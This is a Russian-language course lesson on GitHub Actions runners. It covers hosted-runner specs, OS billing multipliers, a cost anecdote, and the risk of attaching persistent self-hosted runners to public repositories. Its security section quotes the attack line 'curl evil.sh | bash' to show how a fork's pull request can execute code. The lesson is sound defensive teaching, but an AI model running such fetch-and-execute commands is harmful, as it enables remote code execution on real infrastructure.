Hosted против self-hosted раннеров: спецификация, счёт и ловушка публичного репозитория
GitHub-hosted раннеры — 4 vCPU / 16 ГБ, тарифицируются поминутно (~$0.008/мин Linux при 1x), большие раннеры стоят кратно vCPU. Self-hosted раннеры не тратят минуты, но стоят машин, обслуживания и — на публичных репозиториях — поверхности для исполнения чужого кода.
Счёт пришёл на $9 400 за один месяц минут Actions, и финансовый директор хотел увидеть фамилию рядом с суммой. Платформенная команда выгрузила отчёт по расходу: 70% трат давала одна ночная матрица, разлетавшаяся на 48 джобов, каждый на раннере macos-latest. Минуты macOS тарифицируются с множителем 10x — каждая минута macOS стоит как десять минут Linux — а матрице macOS был нужен лишь для двух из 48 ног. Остальные 46 гоняли юнит-тесты Go, которые были бы идентичны на Linux. Перенос этих 46 ног на ubuntu-latest срезал след macOS на 96%, а месячный счёт — до менее $1 100. Фикс занял двадцать минут; урок был в том, что никто не читал множители тарификации, так что выбор runs-on в одну строку тихо стоил пятизначную сумму в год.
Что такое hosted-раннер на самом деле
Прежде чем рассуждать о счёте, нужно понять, за что именно ты платишь — а множитель ОС — это то, что подводит большинство команд.
GitHub-hosted раннер — это свежая эфемерная виртуалка, поднятая под один джоб и уничтоженная после. Стандартный Linux- и Windows-раннер — это 4 vCPU, 16 ГБ RAM, 14 ГБ SSD — достаточно для большинства сборок и тестов, тесновато для прожорливых до памяти компиляторов или больших Docker-сборок. macOS-раннеры больше (стандартный тир крупнее, потому что хосты на Apple silicon). Ключевые свойства: чистый лист каждый запуск (нет утечек состояния между джобами), предустановленные тулчейны (набор runner-images обновляется еженедельно) и жёсткий потолок 6 часов на джоб и 35 дней на workflow.
Тарификация — поминутно, с округлением вверх, с множителем по ОС:
- Linux: 1x — примерно $0.008/мин на стандартном раннере.
- Windows: 2x — те же минуты считаются дважды.
- macOS: 10x — те же минуты считаются десятикратно.
Большие раннеры (8, 16, 32, 64 vCPU) тарифицируются кратно базовой ставке за vCPU и не входят в бесплатные месячные минуты — только стандартные раннеры берут из включённого лимита (2 000 мин/мес на плане Free для приватных репозиториев; публичные репозитории бесплатны на стандартных раннерах). Арифметика множителя — самый большой рычаг на счёте: джоб, которому не нужен macOS или Windows, не должен на них runs-on.
Тестовый джоб занимает 5 минут реального времени. Тот же джоб гоняется на ubuntu-latest, windows-latest и macos-latest. Сколько тарифицируемых минут потребляет каждый и какой дороже всего?
Self-hosted: бесплатные минуты, реальные затраты, реальный риск
Self-hosted раннер — это машина, которую ты регистрируешь в GitHub через агент раннера. GitHub не берёт за неё никаких compute-минут — расплата в том, что теперь коробка твоя: провижининг, патчинг ОС, очистка диска между запусками, security-хардненинг и ёмкость. Self-hosted выигрывает, когда нужно железо, которого hosted-раннеры не дают (GPU, ARM в масштабе, огромная RAM, доступ к приватной сети — реестрам артефактов или базам данных), или когда устойчивый объём сборок 24/7 делает всегда-включённое собственное железо дешевле поминутных hosted-минут.
Ловушка, кончающая карьеры: никогда не привязывай self-hosted раннер к публичному репозиторию. Pull request из форка гоняет тот workflow, который в нём лежит — включая workflow, переписанный атакующим так, чтобы выполнить curl evil.sh | bash на твоём раннере. На hosted-раннере это одноразовая виртуалка; на персистентном self-hosted раннере внутри твоей сети это удалённое исполнение кода против твоей инфраструктуры с любыми учётками, которые держит эта машина. Документация GitHub предупреждает об этом жирным шрифтом. Если чужой код всё-таки нужно гонять, используй эфемерные раннеры (регистрируются с --ephemeral, сносятся после одного джоба) и изолируй их в сети, которая не дотягивается ни до чего ценного.
▸Почему это работает
Почему эфемерность — это граница безопасности? Персистентный раннер накапливает состояние — отравленный кэш, оставшуюся в окружении учётку, бэкдор на диске от джоба N — которое джоб N+1 наследует. Эфемерные раннеры поднимаются свежими и уничтожаются после единственного джоба, так что скомпрометированный джоб не может ничего пронести в следующий. Это то же свойство, что делает hosted-раннеры безопасными по умолчанию: один джоб, одна виртуалка, потом исчезла. Self-hosted приближается к этой безопасности, только когда ты пересобираешь раннер под каждый джоб.
Выбор границы
Решение редко бывает «всё или ничего». Большинство зрелых установок гибридны: hosted-раннеры для дефолтного доверенного пути (PR от коллабораторов, сборки main) и self-hosted пул только под джобы, которым реально нужно особое железо или доступ в сеть. Расчёт стоимости: hosted дешевле, пока твой устойчивый параллельный спрос не станет достаточно высоким, чтобы всегда-включённая собственная ёмкость обошла поминутную тарификацию — и даже тогда ты наследуешь операционную ношу держать этот пул пропатченным, отмасштабированным и защищённым. Начинай с hosted; переноси конкретные джобы на self-hosted, когда конкретная нужда (стоимость в масштабе, железо, сеть) оправдает обслуживание, на которое ты подписываешься.
Почему привязка персистентного self-hosted раннера к публичному репозиторию считается критической ошибкой безопасности?
- 01Назови спецификацию hosted-раннера и множители тарификации по ОС, и объясни, почему выбор ОС — самый большой рычаг стоимости.
- 02Почему self-hosted раннеры на публичных репозиториях обязаны быть эфемерными, и какой режим отказа иначе?
GitHub-hosted раннер — это одноразовая виртуалка — 4 vCPU, 16 ГБ RAM, 14 ГБ SSD на стандартном тире — поднимаемая свежей под джоб, предзагруженная еженедельно-обновляемыми тулчейнами, с потолком 6 часов на джоб. Платишь поминутно с округлением вверх, и множитель ОС доминирует на счёте: Linux 1x примерно $0.008/мин, Windows 2x, macOS 10x, а большие раннеры 8–64 vCPU добавляют ещё кратность и выпадают из включённых бесплатных минут. Самый дешёвый, самый надёжный рычаг стоимости — это строка runs-on: гоняй на наименьшей рабочей ОС и резервируй Windows и macOS под те ноги матрицы, которым они реально нужны. Self-hosted раннеры переворачивают сделку — GitHub не тарифицирует compute-минут, но теперь ты владеешь провижинингом, патчингом, очисткой, сайзингом и безопасностью, и они окупаются только когда нужно железо, которого нет у hosted, или когда устойчивый параллельный объём делает всегда-включённую собственную ёмкость дешевле поминутных hosted-минут. Жёсткое правило — безопасность: персистентный self-hosted раннер на публичном репозитории — мишень для удалённого исполнения кода, потому что pull request форка гоняет лежащий в нём workflow и может выполнить команды атакующего на машине внутри твоей сети с оставшимся состоянием для наследования следующим джобом. Если чужой код всё-таки нужно гонять, используй эфемерные раннеры — свежие под джоб, уничтожаемые после — изолированные в сети, которая не дотягивается ни до чего ценного. Большинство зрелых установок остаются гибридными: hosted для доверенного дефолтного пути, маленький self-hosted пул только там, где конкретная нужда в железе, сети или масштабе оправдывает обслуживание. Теперь, когда встретишь растущий счёт за CI, первый вопрос один: какой runs-on написан зря — и не висит ли где-то персистентный раннер на публичном репозитории?
Практика
Начни сверху. Задачи идут от простого к сложному: вспомнить факт, применить к случаю, затем senior-уровень. Открой, попробуй, потом открой ответ.
Что-то непонятно?
Задай вопрос по этому уроку. Вопросы анонимны и попадают напрямую автору — урок станет лучше.